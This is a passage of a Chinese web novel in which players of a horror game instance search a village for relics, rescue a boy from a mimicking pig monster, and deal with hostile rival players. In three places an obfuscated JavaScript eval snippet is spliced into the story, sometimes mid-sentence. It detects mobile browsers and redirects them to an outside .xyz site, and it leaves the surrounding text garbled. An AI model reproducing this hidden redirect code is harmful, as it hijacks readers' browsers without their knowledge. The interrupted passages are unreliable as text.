方柚柚意犹未尽停手,从自己的小背包里掏出乌神尸骨给两千块闻了闻。 郝荨:“好狗狗,村子里还有这东西吗?” 两千块仔细嗅了嗅,尾巴跟螺旋桨一样摇了起来。 有! 狗闻到了! 两千块带着两人从村尾一路跑到村头,在村头那座最气派的小楼门口蹦来蹦去,急得团团转。 这里! 这里最多! 郝荨微微喘着气,抬眼一瞧—— 好小子,你可真会找! 这不就是村长家吗? 更巧的是,她还和正好开窗透气的阿卜对上了视线。 阿卜:“……” 郝荨:“……” 阿卜有点紧张:“你们…有、有事吗?” “哈哈,”郝荨不着痕迹地拽住还想扒门的两千块,打哈哈道,“没事,路过,我们路过而已。” 两千块不明所以。 人!这里! 这里好多! 郝荨使出九牛二虎之力才把两千块拽走,见她离开,阿卜才稍稍松了口气。 不是来找她的就好。 她摸了摸自己的包,那里微微突起的形状证明了那里还有一盏没被送回的抵押物。 “谁啊?”小高剔着牙从门外走进,有些困倦道。 阿卜下意识把包往被窝里送了送,她稍稍迟疑:“是玛弥和他们队伍里那个小女孩。” “他们还敢来?!”小高立马精神起来。 “人呢?!” “走、走了。”阿卜有些犹豫道,“他们好像……带了条狗,要不要告诉郑哥一声?” “狗?”小高嗤笑,“瞧你吓的,不就是条畜生!这村子里都那么多猪了,多条狗有什么好在意的!” 阿卜欲言又止。 可那条狗看起来……不像是村里的啊。 小高眼珠子一转,他忽然有了个主意,虽然郑哥不让他去找事……但万一事来找他呢? 他话锋一转:“我觉得你说的也有点道理,要不这样,我们跟上去看看!” * 两千块那么激动,郑哥手上一定有很多枚乌神尸骨,郝荨一下就产生了紧迫感。 “除了这两座屋子,村子里还有其他地方有吗?” 郝荨给两千块指了指灵秀团队借住的土房,两千块原地转了几圈,轻轻叼住郝荨的裤腿,来到了一间几乎要塌的土房中。 “嘶,这里……” 郝荨眯了眯眼,这里和山中的乌鬼村呈现完全对称状态,如果她没记错的话,安放在这座不大的土屋中的,是那对眉宇间有些相似的年轻男女。 巧合的是,那两张黑白遗照和他们的长明灯,正好就在她的背包里。 “这里有?” 两千块激动地跳了跳,恨不得直接跳进小院,它直直地冲着卧室的位置正要叫,又紧张地咽了回去。 郝荨将位置记下:“柚柚,我们抓紧时间分头行动,你直接带两千块去下一个地点。” 方柚柚认真点头:“好。” 这座土房里黑漆漆的,不像有人在的样子,不过谨慎起见,郝荨还是小心行事。 她偷感很重地从倒塌的栅栏里钻入,没有注意到身后不远处的两个人影。 “她们分开了。”阿卜趴在树后小声开口。 小高看了看这间屋子,又看了看远去的小女孩,有些拿不准地“啧”了一声。 他最想解决掉的人不在,不过好在那个很凶的也不在。 小高想了想,磨牙道:“算了。” “既然郑哥说这个女的难搞,我就暂时不搞她,走,去找那小孩!” 阿卜有点担心:“郑哥还说叫你别动他们……” “谁说‘我’要动她了?” 小高盯着方柚柚的背影,缓缓露出了一个恶劣的笑。 土房内。 郝荨还不知道竟然有玩家敢对方柚柚动心思,她现在遇到的,是更加棘手的问题。 “是你?” 黑暗中,一双黝黑发亮的眼睛忽然睁开,熟悉的声音响起: “你来我家做什么?!” 话音刚落,一颗石子就随着破空声一并袭来,郝荨紧急打了个滚才将将躲过。 她面带苦涩:“……如果我说这只是巧合,你会信吗?” 郝荨试探着要向前走,回答她的却是另一颗更为锋利的石子,深深嵌入破旧桌腿的石子让她不由自主举起双手: “好吧好吧,我是来找东西的。” “来我家找东西?” 安娃一时也愣住了,他环顾四周,虽然没怎么念过书,但也听说过家徒四壁的说法,他家和家徒四壁应该也没什么两样。 这里……能有什么东西吸引这些外乡人? “你们到底在村子里找什么?说话!” “你知道每年赢得乌神候选的人都会拿到什么吗?”郝荨冷不丁开口。 安娃依旧没有露面,但他的声音很明显带上了费解:“……‘大胖丸’?你们要的就是这?” “你——不知道它有什么用?” “知道啊,”安娃儿从阴影里探出半张脸,眼带困惑,“给乌金吃的,可这跟你们这些外乡人有什么关系?” 这东西村里人都知道,是乌神大人当年羽化留下的。 可这东西对人类没什么用,只能给乌金们使用,这些游客要这做什么? 郝荨盯着他露出来的那半张脸看了一会儿,有什么在她脑海中一闪而过,她忽然开口:“你哥哥姐姐是龙凤胎?” 安娃一惊:“你怎么知道?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975289|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郝荨眉头一皱,陷入沉思,村长曾经说过,安娃的哥哥姐姐为了寻找父母出山去了,安娃却说自己亲眼看见他们跟随疯了的乌神进了山,但事实上,这两人都错了。 安娃的哥哥姐姐……已经死了。 他们死在了山里的那座乌鬼村中。 一件事怎么会有三种说法?这让她不能不在意。 郝荨正在思考,她的身后却突然暗了下来,安娃倒吸一口冷气。 不好!有什么来了! 郝荨立刻蹲下,闪身躲到一旁的柜子后头。 起雾了,淡淡的血色雾气逐渐遮掩住月光,一个巨大的黑影从窗口略过,脚步沉重。 郝荨安慰自己,幸好刚刚顺手关了门。 可下一秒,大门忽然被推了一下,一个年轻的女声响起: “咦?门怎么关了?” 紧接着,是另一个年轻的男声,两人听起来都还不到二十岁的模样。 “不知道啊,安娃儿关的吧。” 屋内的角落突然有什么落在地上,安娃喘着气,既惊恐又不敢置信。 “咚咚。” 安娃的眼睛紧紧盯住那扇被敲响的木门,一丝一毫也不敢挪开。 “安娃?安娃儿开门,是我们呀!” 安娃的身形不由自主地动了动,大哥大姐…… “安娃儿?快开门呀!大哥大姐回来啦!” 真的是他们! 他慢慢从阴影里起身,手中的弹弓滑落—— 大哥大姐回来了,我要……我要做什么来着? 对了,我把门锁了,大哥大姐离开前叫我锁好门,别让坏人进来…… 坏人……坏人是谁? 坏人已经没了,安娃……安娃要快点开门…… 大哥大姐……安娃好想你们…… 他一步一步向门口走去,不合脚的旧鞋已经破了好几个口子,拿胶带糊了好几层,鞋底也掉了大半,被乌大娘拿针线细细缝好。 这鞋是妈妈给他做的,没有做完便跟爸爸一起离开了家,是大姐帮他把剩下的部分做完,现在有些小了。 不过没关系,他可以当拖鞋踩着穿。 安娃拖着脚,几拉着停下脚步,他慢慢把手放在门把上,眼看着就要推门,躲在边上的郝荨一把扑倒! “放开我!” 郝荨像捏住狗嘴那样熟练地捂住他的嘴:“闭嘴!别说话。” 她眯着眼从缝隙看去,屋外哪有什么人,浓重的雾气里,只有一只如山一般高大的乌金! 一阵山风吹来,粘稠的雾气吹散,顺带把乌金身上浓厚的鬼气也一并吹开,露出了它黑色身躯下的白骨。 郝荨瞳孔猛地一缩,这森森白骨交叠着,乍看之下根本不像猪骨—— ——反倒像是几具人类骨架畸形地堆在一起! 像是树根那样缠绕着,扭曲着。 似猪似人,诡异至极! “唔唔唔——!” 安娃拼命挣扎着想去开门,这个年纪的男孩正是力大无穷的时候,郝荨几乎要用上全身的力气才能将将束缚住。 她深吸一口气,俯下身去:“那不是你大哥大姐,清醒点!” 见他还在蹬腿,郝荨气上心头,她干脆松手。 安娃一喜,他立刻爬起:“大哥大姐!我来——” 两张黑白遗照陡然出现在他眼前,那上面,正是他那离家已久的哥哥姐姐。 96. 乌鬼村17 “看到了吗?你大哥大姐已经死了!” 郝荨放低声音咬牙切齿道。 “我……”安娃的眼睛逐渐恢复清明。 “还开门吗?开啊!” “不可能!我哥我姐才不会死!” 安娃的声音带上哭腔,手牢牢地放在门板上,纹丝不动。 “是吗?那你开门啊。”郝荨揉着手腕冷笑。 这小屁孩劲那么大,她差点就要跟余逸做难姐难弟了! “你、你骗我呜呜呜……”安娃一下没忍住,哭了出来。 听到他的声音,门外的乌金似乎发现了不对,推门的力道一下大了起来。 “安娃?安娃开门啊!” “砰砰砰!” “有人欺负你吗?你怎么哭啦?安娃儿快开门!” 乌金的声音逐渐变得尖锐,像是卡盘的磁带,一时间男女老少的声音融合在一起,门剧烈地抖了一下—— “安娃别怕!大姐(哥)回来了!” 郝荨浑身绷紧,寒毛直竖,一股遗传自血脉基因中的危险预警气息席卷而来。 果然,下一秒! 乌金高大的身躯轰然倒地,化作腥臭黏腻的液体不容拒绝地从门缝里挤进,像是一条条灵活的游鱼,快速像他们游来! 郝荨一脚插入安娃肩下,用力往上一抬,再一抓,就将人扯了起来。 见小孩还在哭,她忍不住骂道:“哭哭哭,就知道哭!” 惊奇的是,安娃儿的哭声竟然一下停止,虽然还在不停打嗝,但已经明显重新拥有了大脑。 好家伙,这句话在游戏副本里也通用? 两人跌跌撞撞往卧室里跑去,安娃还梗着脖子大喊:“我没哭!” 郝荨冷酷开口:“你先把鼻涕擦了再说这话!” “什么鼻——我没流鼻涕!” 等安娃也进屋后郝荨一把把卧室门锁好,安娃从炕上捡起自己的破棉被,手脚麻利地把门缝堵上,可这也只能拖延片刻而已,郝荨伸手去开窗—— “靠!你把窗户堵上干嘛?!” 安娃卧室里的那扇窗户被几块厚木板堵得严严实实,郝荨想要伸手去掰,却发现这木板比大门还要厚! “我冷!”安娃理直气壮。 他家本来就只剩他一个,连烧饭的柴火都紧巴巴,时常吃不上饭,更别说用来烧炕了,家里大人走后,窗户早就变得破败不堪,他又不愿意搬走,村长爷爷只好叫人帮他把窗户破洞处堵上,省的夜里睡觉着凉。 可这会儿,却是将两人唯一的一条生路也给活生生堵死。 “安娃儿——你不认识姐姐(哥哥)了吗——” 棉被逐渐变得潮湿,乌金的声音从被子里传出,高亢的声音闷在被子里有些变调。 凉意侵袭,郝荨被冻得牙齿打颤,就连刚刚还在对她横眉冷对的安娃儿都忍不住贴近她。 不等她说话,安娃反倒率先开口: “照片还我。” “不先问问我照片是从哪来的吗?” 郝荨嘴巴上说着话,手上也没停,她先是看了眼自己的技能和道具,【休憩的沉思者】倒是可以用,但这是个单人道具…… 她低头看了眼安娃,这小孩倔强得很,死活不抬头看她,她只能看到对方圆溜溜的脑袋顶和沾满灰尘的短发。 “你…你从哪找到的?” 郝荨眯了眯眼:“你真的不知道?” “啊?” 见他的表情不似作伪,郝荨这才开口:“就在乌鬼村。” “不可——!” “山里的那座。” 安娃骤然收声。 几秒后,他才又结结巴巴开口:“不、不可能!我、我上次去的时候还、还没有!” 门缝处的棉被已经被完全浸透,那泛着诡异光芒的黑色液体不容拒绝地从缝隙处游入,像是一条条细蛇交汇在一起,重新汇聚成了那只几乎挤满整个房间的乌金。 它没有眼睛,黑洞洞的眼眶中有深红色的鬼火晃动,看着你的时候像是能把你的灵魂整个吸入似的。 “安——娃儿——” 屋外一下安静下来,连一丝风声也听不到。 土屋本就不结实的墙壁被一点点撑开,发出令人恐慌的裂响。 乌金那颗庞大的狰狞猪头慢慢向两人靠近,郝荨的头脑快速运转,游戏里不能使用攻击道具,只能想办法躲开或是……借力打力! 她用余光盯住裂开一条大缝的墙壁,再裂一点,只要能让乌拉拉撞开,她就有把握带安娃一起离开! 就在这千钧一发之际,忽然,乌金像是碰到了什么一般猛地缩回了头。 脸上也出现了一种古怪的忌惮。 郝荨一顿,她立刻想起来自己的包里还有一样关键道具! 长明灯! 包裹被一下拉开,哗啦啦倒出了十几盏还有油的长明灯,郝荨手忙脚乱地把灯点上。 “这是什么?”安娃有点懵。 郝荨命令道:“帮忙!别愣着!” “啊?哦、哦!” 柔和温暖的光芒一点点亮起,随着长明灯的点燃,他们身上终于暖和起来,乌金也越缩越小,最后,干脆重新化作黑色液体从门缝下一溜烟离开。 郝荨这才重新放松下来,她动了动僵硬的身体:“喂,还活着吗?” 安娃还呆愣地看着乌金离开的方向,回不过神。 “以前有发生过这种事吗?”郝荨把多余的灯吹灭,问道。 “没有……” 如果不是大哥大姐真的不见了,他恐怕还会以为自己当年只是做了一场梦。 郝荨找出他大哥大姐的照片:“喏,还你。” 安娃一愣,他不敢相信地抬起头:“你…真的给我?” “嗯。” 郝荨重新背上包,在屋里翻找起来。 她有点担心,这只乌金会不会去找方柚柚。 “等一下!” 安娃跳下炕,把黑白遗照仔细放好,才掀开床单,从炕坑中翻出一个小木盒。 “你是在找这个吗?” 郝荨接过一瞧,里头装着的赫然就是一枚乌神尸骨。 【乌神尸骨:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:良好的沟通是成功的一半,使用后,你将与你的乌金在梦中相遇。】 郝荨:? 谁要梦到一头黑猪啊! 不过她还是老老实实将这枚乌神尸骨收起:“多谢,我走了。” 说完,她将属于安娃儿哥哥姐姐的两盏长明灯也一并留下,便准备离开,哪知下一秒却有一股力道从衣摆处传来。 安娃抓着她的冲锋衣,低着头问:“这是谁放的?” 郝荨耸肩:“我怎么知道,我才刚来没几天。” “那……村子里还有什么?” 还有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984602|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么? 郝荨思索片刻,索性蹲下身道:“你是想问你家人的尸体吗?” 听到这话,他手指一下攥紧。 “屋子里除了遗照和长明灯外没有任何像是尸体或骨灰的东西,其余的,都和你上次说的差不多,除了新长出了许多李子树外,几乎没什么区别。” “我知道你现在很难过,但现在——”郝荨一顿,“安娃儿,你叫什么?” 安娃吸吸鼻子:“我叫乌平安。” “乌平安,我不知道你有没有发现村子里的古怪之处,你——你叫什么?” 乌平安有点懵,他不是刚刚才说过名字吗? 郝荨反手抓住他:“乌平贵乌平俪是你什么人?!” “……我大哥大姐啊,你不是刚刚还拿着他们的照片吗?” 一个想法电光火石间闪过她的脑子,郝荨立刻追问:“你知道山里那座乌神庙吗?” 乌平安点点头:“乌神大人的庙,每年乌神节村长爷爷都要带人去祭拜的。” “你没去过?” 吴平贵不明所以:“我还没长大,村长爷爷说,等我长大才能去,不然,会冲撞了乌神大人。” 郝荨下意识地敲了敲手指,这村子可太有意思了。 乌平安的大哥大姐被乌神带进山中,从此再没回来过,山里的乌神庙却出现了他们二人的牌位,那座荒废村落里也有他们的遗照和长明灯。 村长那个看起来再普通不过的和善老爷爷一定知道这件事,那么村里的其他人知道吗? 这件事会和村子里没有年轻人有关吗? 按照常理,对于一个隐居山林的村落来说,没有什么会比繁衍生息更重要,可他们却眼睁睁看着村里的年轻人一个接一个的被乌神带走,哪怕到现在,村子里已经完全没有了正值壮年之人,也依然欢天喜地祭拜祂,为什么? 安娃儿当初看见的那个乌神,是真的乌神吗? 如果是真的,那乌神陨落之后又怎么还会有年轻人进山,如果不是……那祂又是什么? 还有那些漂浮在山中,眼里冒着鬼火的乌金,它们又是什么? 这个村子实在有太多太多的谜团没有解开,郝荨将这些疑问压在心底,现在最重要的还是乌神评选。 第二轮评比,绝对不能再让郑哥他们赢了! 她站起身,刚要往方柚柚离开的方向而去,木门下一张黄纸做的小人“呲溜”一下顺利滑入,紧接着,木门被轻松推开。 “咦?你已经拿到了?” 梳着高马尾的女人走了进来,她弯下腰捡起小纸人,了然地看了过来。 忽然,她皱了皱眉:“怎么湿了?” 她拿起纸人一瞧,刚刚还精神奕奕的小纸人身上沾了些黑色不明液体,现在已经瘫软下去,再也没有半分动静。 “有东西来过?” 郝荨没有回答,但灵秀已经有了答案。 “那我先走了。”灵秀没有迟疑,转身就走。 “等等。” 郝荨快步上前:“聊一聊?” 灵秀身形顿住,她微微回过头:“聊什么?” 郝荨眼珠微微转动,她对灵秀的能力还不了解,但对方既然能找到这,一定也有她自己找东西的方法,与其让她单独行动,倒不如自己拖住她,让方柚柚带着两千块把剩下的都找了,况且,她也确实有件事想跟对方聊一下: “就聊聊……换个盟友的事?” 97. 乌鬼村18 “呼……呼……霍哥,这山白天的时候有这么高吗?呼……” 余逸大口喘着气,夜里的白茫茫山温度比白天要低上十几度,连呼出的气都变成了白色。 他和霍格一人端着一盏长明灯,费劲巴拉地爬山。 “好无聊……呼……咱们来聊天吧?” 他也不在意霍格没搭话,自顾自地开口:“霍哥,你姓霍啊,这个姓好酷,我看好多剧里面姓这个的都是男主!什么霸道总裁什么九爷……” 霍格:…… 有没有一种可能,霍格只是游戏给他定的代号,而不是他的姓! 霍格:“我姓夏。” “啊?”余逸愣了一下,“你不姓霍啊……我靠!” 他话音未落,就差点一脚踩空落入山下,幸好霍格反应快,一把拉住了他。 余逸出了一身冷汗,他用断了的那只手拱了拱霍格的手臂。 “谢谢你啊霍哥!” 霍格:…… 他忍耐地闭了闭眼。 “唉……这副本为啥要让猪猪受苦呢?猪猪那么可爱,关它的时候我真的不忍心,不知道为什么,好想把他放走,可惜我打不过你们,呼……” 余逸停下脚步看了看路:“是走这儿吗?” 霍格“嗯”了一声,脚步不停。 “雾越来越大了。” “是哦……呼,说到猪猪,”余逸吸溜了一下口水,“我跟你说霍哥,我妈做的红烧猪肉可好吃了!等见面的时候带点给你们尝尝,肥而不腻,香得要命!我能就着吃三大碗!” 他摸了摸肚子,明明才吃完饭没多久,居然又有点饿了。 霍格平静地辨别了一下方向,带着余逸往山谷走,突如其来一阵冷风从他跟前吹过,他不着痕迹地挪了下脚步,堪堪闪过那股妖风。 余逸却被吹了个透心凉,他打了个激灵,从头凉到了脚后跟。 “好冷。”余逸缩了缩脖子。 是他的错觉吗? 总觉得脖子后面冷飕飕的。 霍格动作微顿,然后开口道:“你过来点。” “啊?”余逸不明所以,但照做。 咦? 不冷了! 他有些疑惑地回头看了看,什么都没有。 “好奇怪,不会有鬼吧?”余逸大大咧咧道,“小说都说鬼喜欢趴在人后面吹风,要是随便回头的话就会被他们带走——呃!” 又是一阵冷风吹来,余逸狠狠打了个哆嗦。 霍格:…… 他抬起眼望去,一团黑乎乎的猪型雾气几乎要把余逸整个脑袋包裹住。 他的视野和其他玩家不同,除开不停泛着红光的系统边框外,视线上方还一直有个大大的断线WARNING标志不断闪烁着。 但这还不是最让人头痛的,比这还要让普通人难以接受的是,他视线中的场景、NPC,甚至是玩家都很诡异。 视野中的余逸身体变得粗壮,肚子大大的,塞满了刚刚吃下的所有食物,被乌大娘塞进口袋的红薯渗出的根本就不就是蜜糖,而是黏腻的血液,他断了的那只左手手腕处往外生长着黑色的毛发,毛□□浮着,有人经过时还会轻轻扫过,像是在寻找着下一个宿主。 霍格面无表情地伸出手,在他脑后挥了挥,将那团遮掩住对方的雾气挥散。 好消息:余逸的脸终于露了出来。 坏消息:还不如不露。 他本来平平无奇的平均脸不知道被什么影响,脸颊高高鼓起,耳朵也诡异地变大了一半,霍格忍不住摸了摸自己的脸,触感很是陌生,似乎也有些变化。 “真是奇了怪了……”余逸还没搞懂发生了什么,但身体却很诚实地往霍格的方向靠近。 “怎么一会儿冷一会儿热的?我发烧了?没有啊——” “到了。” 霍格停下脚步,他们正站在高高的悬崖上,而在他们脚下,正是那点点灯火的破败村落——乌鬼村。 “他们果然背着我们偷跑了!”余逸踢了一脚地上的铲子,“我就知道那个茶茶不是什么好人!” 他气急败坏地从背上取下锄头,这锄头被乌大娘特意改造过,哪怕他只有一只手也能用。 顾不上太多,他把长明灯往树杈一放,哐哐就是干! 霍格也在余逸对面找了个地方开始闷头挖土,这土的触感让他有些不适,从他的视野望去,就像是在挖真实的血肉。 一铲祂血块飞溅,二铲祂肉末横飞,三铲…… “唉哟!” 只听余逸一声大叫,霍格猛地抬头,无数血肉碎块像雪花一样向他抛洒而来—— 恍惚间,他好像看见了一张熟悉的脸。 她的脸上总是带着笑,有时是真心实意地放肆大笑,有时有时虚情假意的营业微笑,但无论如何,她总是笑着。 她本应笑着。 可现在,这雪花崩塌的瞬间,她脸上的笑一下收起,取而代之的是不敢置信。 她很恐慌?懊恼? 为什么? 霍格很想伸出手去触碰她,却摸到了一手恶臭的黑色血浆。 “不对…不对,不对!我搞错了!” 她扑倒在地,趴在了地上那摊庞大的血污中,声嘶力竭。 然后,她重新笑了起来,眼角几乎红到渗血:“我不会让你们输的……” “你相信我吗,老夏?” “霍哥?霍哥?!” 霍格一下清醒,他低头望去,手上,身上,全是深红色的血块,但仔细摸去,手感很粗糙,似乎只是泥土。 “对不住啊霍哥,我刚没站稳,不小心把土刨你身上了!你没事吧?” 余逸也摔得不轻,他衣服上处处都是白土的痕迹。 霍格沉默两秒:“没事。” “那就好!” 余逸松了口气,看他刚才在那发呆,还以为自己这一铲子把人给刨傻了呢! 吓死他了! 他转过身,继续挖着白土,也幸好茶茶他们组提前来挖过,挖开这么多个洞,给他省了好大一部分力。 但这也不妨碍他腹诽,余逸一边在心里骂人一边用自己的单手挖着土,没有注意到霍格忽然抬起的头。 “你听到了吗?” “什么?”余逸头也不回地答道。 霍格耳朵动了动:“村子里……有人在尖叫。” * 十分钟前。 “汪唔。” 两千块小声叫着,举着前爪指向一座亮着灯的土屋。 “又有人住啊。”方柚柚打了个哈欠,有点头痛。 她并不擅长与人打交道,现实中有亲戚上门她都要立马躲进自己的安全屋,更别说这些偏远村落里的陌生人。 方柚柚把地址记下,向两千块提出要求:“就没有那种没人的地方吗?” 两千块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995299|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出了一个很人性化的无语表情。 这又不是什么天生地长的东西,怎么会出现在没人的地方! 不过他还是仔细地低下头嗅闻—— 有了! 人!跟狗来! 它拱了拱方柚柚的腿,向一座漆黑的土屋小跑而去。 方柚柚抬腿要走,却被白兔子的耳朵打了一下。 “嗯?”她拖着腿,声音懒懒散散,好像下一秒就要睡着。 白土抬起一边耳朵又给她来了一下。 “醒了,我醒了!” 方柚柚小大人似的叹了口气,她哥哪怕失去大部分记忆变成了兔子玩偶,也依然不会忘记管束她。 白兔子凑到她耳边小声说了句什么,方柚柚那双要闭不闭的死鱼眼微微睁大,起了点兴趣:“哦?” 她没有回头,只是摸了摸白兔子的长耳朵,随后便跟随者迫不及待的两千块进入了那间废弃小屋。 “她进去了!”墙后突然探出一颗脑袋,小高打量了一番土屋。 这座屋子他很熟悉,进村第一天他就来过,没有后门。 他踢了踢身旁人的脚:“快去。” 阿卜表情纠结,很不愿意的模样: “……不然还是算了吧,我们这样做,郑哥会不高兴的……” “啧!”小高撸起袖子,“郑哥心善,能忍你个废物待在咱们团队,我可忍不了!” “在咱们这儿,你得展现出你的价值!要么干,要么滚!” 他抓起板砖,状似要揍,阿卜不由瑟缩了一下。 她犹犹豫豫地点开自己的技能面板—— 【玩家使用天赋技能:诚实的水晶球】 【请说出你想要占卜的问题。】 ‘我……’ 阿卜咬住下唇,水晶球中映照出的脸上满是担忧。 ‘我想问……我一定要去吗?不去的话是不是也能安全结束副本?’ 水晶球中光线转动—— 【答案:否。】 阿卜倒吸一口凉气,她连忙又问: ‘我去了就能通关吗?’ 【答案:否。】 阿卜的心脏一下攥紧,但她很快又想起自己的天赋正确率只有50%,稍微松了口气。 可能是技能坏了吧,但她还是不死心,干脆地问出了第三个问题: ‘我……我还有机会离开这个团队…离开郑哥吗?’ 水晶球中雷光闪烁,一张塔罗牌浮现出来,是大阿卡纳中的……死神。 【答案:否。】 “等什么呢你?” 一只手从她身后伸出,狠狠推了她一把,小高臭着脸开口:“还不去?再不去那小孩都要完事走人了!” 阿卜抿了抿嘴,试探道:“高哥,我刚刚用了一下技能,它、它显示的结果不太好,我们要不还是回去找郑哥吧……” 小高冷笑:“编!再编!就你那个正确率,能测出来个啥?害怕就直说,编什么瞎话!” 他抬头看了眼那土屋,冷下脸道:“快去!好歹也是队友,我不会扔下你不管的,你就去让她打一下,记得叫大声点,我就会冲进去帮你。” “要不是郑哥不让我找事,还用得着你?” 阿卜看了看他手里的板砖:“好、好吧,我去……” 她抬起手,叫出了自己的人偶娃娃,一人一娃在寒风中小心地迈入了方柚柚所在的破旧房屋。 98. 乌鬼村19 “咳咳……” 从遍布这屋子的灰尘推断,这里最起码也就五六年没人住了。 方柚柚被呛到,咳嗽了两声:“这里有乌神尸骨?” “汪!” 两千块摇摇尾巴,一下扑到方柚柚身上,打了个巨大的喷嚏。 快!就在那! 狗要回家! 顺着它的力道望去,那是个将近两米高的立柜。 方柚柚在屋子里转了转,找到了个断了条腿的板凳,她吃力地站到凳子上,还没站稳,白兔子就一步、两步,优雅地跃至她的头顶。 变故就是这时候发生的! 一人一兔一狗的注意力都集中在翻找柜子中,没有注意到凳子旁忽然多出了一个娃娃。 人偶娃娃有着柔顺的黑发,这黑发无风自动,顺滑至极,就像是真人的头发,她的头安装得有些歪斜,眼珠滴溜溜转动,最后望向了那根断裂的凳腿—— 阿卜没敢进屋,她趴在窗台上向屋内偷看。 是的,就这样,就这样轻轻一推…… 她只是想让那小女孩摔一跤而已,不是真的要她出事,没关系的…… 只要她吃痛叫出声,高哥就会冲进来,然后…… 然后就跟她无关了! 她、她也是没办法! 阿卜给自己做足了心理建设,直到那窗玻璃都被她呼出的热气完全覆盖,忽然,一声重物落地的声响传来,那女孩摔了?! 她连忙伸手胡乱地擦了擦玻璃,眯起一只眼望去,那小女孩已经站在了地上,将人偶娃娃捡了起来,只见她盯着那娃娃看了两秒,然后倏地扭头望向她,女孩轻轻开口: “Castling。” 【玩家使用天赋技能:王车易位】 【使用对象选择中——】 【选择成功。】 阿卜心脏陡然一空,不,空的不是心脏,是她的身体! 只是眨了一下眼而已,再睁开眼时,她对上了一只巨大的眼睛,那眼睛半阖着,一副永远都睁不开的样子,很眼熟。 巨人? 不…不!是那个小女孩! 阿卜身形僵硬,她不敢相信地低下头,只一眼,她就差点昏过去! 她穿着规整的和服,整个人被那个女孩牢牢握住——她变成了人偶娃娃! 那…那人偶娃娃呢? 阿卜一点点回过头,恰好看见那张本应属于她的脸,露出了一个惊喜又瘆人的表情—— “啊啊啊啊啊——!!!” 不远处正百无聊赖踩蚂蚁玩的小高一下精神起来,打起来了?! 他一下拾起搬砖,挺直腰杆就向土屋冲去: “别怕,你高爷来了!” * 安娃家。 乌平安坐在自家门槛上,撑着脑袋发呆。 里头那俩人怎么还没聊完……他想回去睡觉了。 安娃打了个哈欠,他从怀里掏出哥哥姐姐的照片,借着月光将他们一一描摹下来,原来大哥大姐长这样…真好看。 忽然,街上传来一阵脚步声,那脚步不算灵巧,但很轻,鞋子和地面摩擦的声音充分显示出了主人的懒散。 安娃警惕抬头:“——咦?” 是那个被他追杀过半座山的矮子,好像跟屋里那个女人是一伙的。 他还在犹豫是否要通风报信,屋里也传来了一阵脚步声。 “……考虑考虑吧?……真没得谈了?” 扎着高马尾的女人耸耸肩,果断道:“抱歉。” 郝荨还是不放弃,她正要再说什么,转头却看见方柚柚正站在门外,她闭着眼睛歪七扭八的,几乎要在原地站着睡着。 “那好吧,”郝荨上前揽住她,她没有很担忧,但也没有幸灾乐祸,只是很平常地望着灵秀,“希望下一轮结束时你还能这么想。” 说完,她们便和平道别。 方柚柚迷瞪着眼睛,嘟囔道:“失败了?” 郝荨模棱两可道:“不一定,你呢,东西找到了吗?” 方柚柚将身上的乌神尸骨全部掏出,连乌大娘的那两颗一起交给了郝荨,然后困倦地指了指其中一座屋子:“那里面还有一颗,没来得及去拿。” “嗯?发生了什么?” “那个寸头带阿卜来找茬。” 小高?她还没去找他麻烦呢,他竟然又来! “你没事吧?” 方柚柚先是摇头,然后又点了点头:“他们跑了,哈——” 她又打了个大大的哈欠。 “我好困……” 然后就跟个泥鳅似的滑不溜丢地就要躺倒,被郝荨一把拽住。 郝荨:! 睡着了! 她费劲地把方柚柚扛回屋,又去找到了方柚柚指出的乌神尸骨,那户人家很好说话,她没说几句便将东西交给了她。 回到炕上,她盘起腿,将乌神尸骨一一摆在面前,陷入思索。 如果信息没错的话,这些乌神尸骨总共有十八枚,除开接下来两场比拼,胜者能获得的奖励,一共应该是十六枚。 现在她手上连真·乌神尸骨和被转盘吞掉的尸骨一起,一共是七枚。 灵秀手上至少有一枚,至于郑哥,他在第一场比拼时用过一枚,获胜时村长爷爷又奖赏了他一枚,这说明现在场上确实出现的乌神尸骨至少有十枚。 表面看来她好像已经完全掌控了局势,大比分获胜,但实际……恐怕却正好相反。 郑哥前几天一直待在乌鬼村,没人知道他对村子究竟了解多少,他手上的乌神尸骨一定不会少,这一点从他轻易就将“交换”这样的大杀器用掉也能窥见一二。 她怀疑,郑哥手上说不定会有比“交换”这样的能力更厉害的乌神尸骨。 而灵秀呢,她和郑哥目前的合作看起来还很稳固,她会不会和郑哥进行了乌神尸骨的交易?即便没有交易,以她的能力和智慧,不会想不到乌神尸骨的重要性,她一定也派人搜寻过。 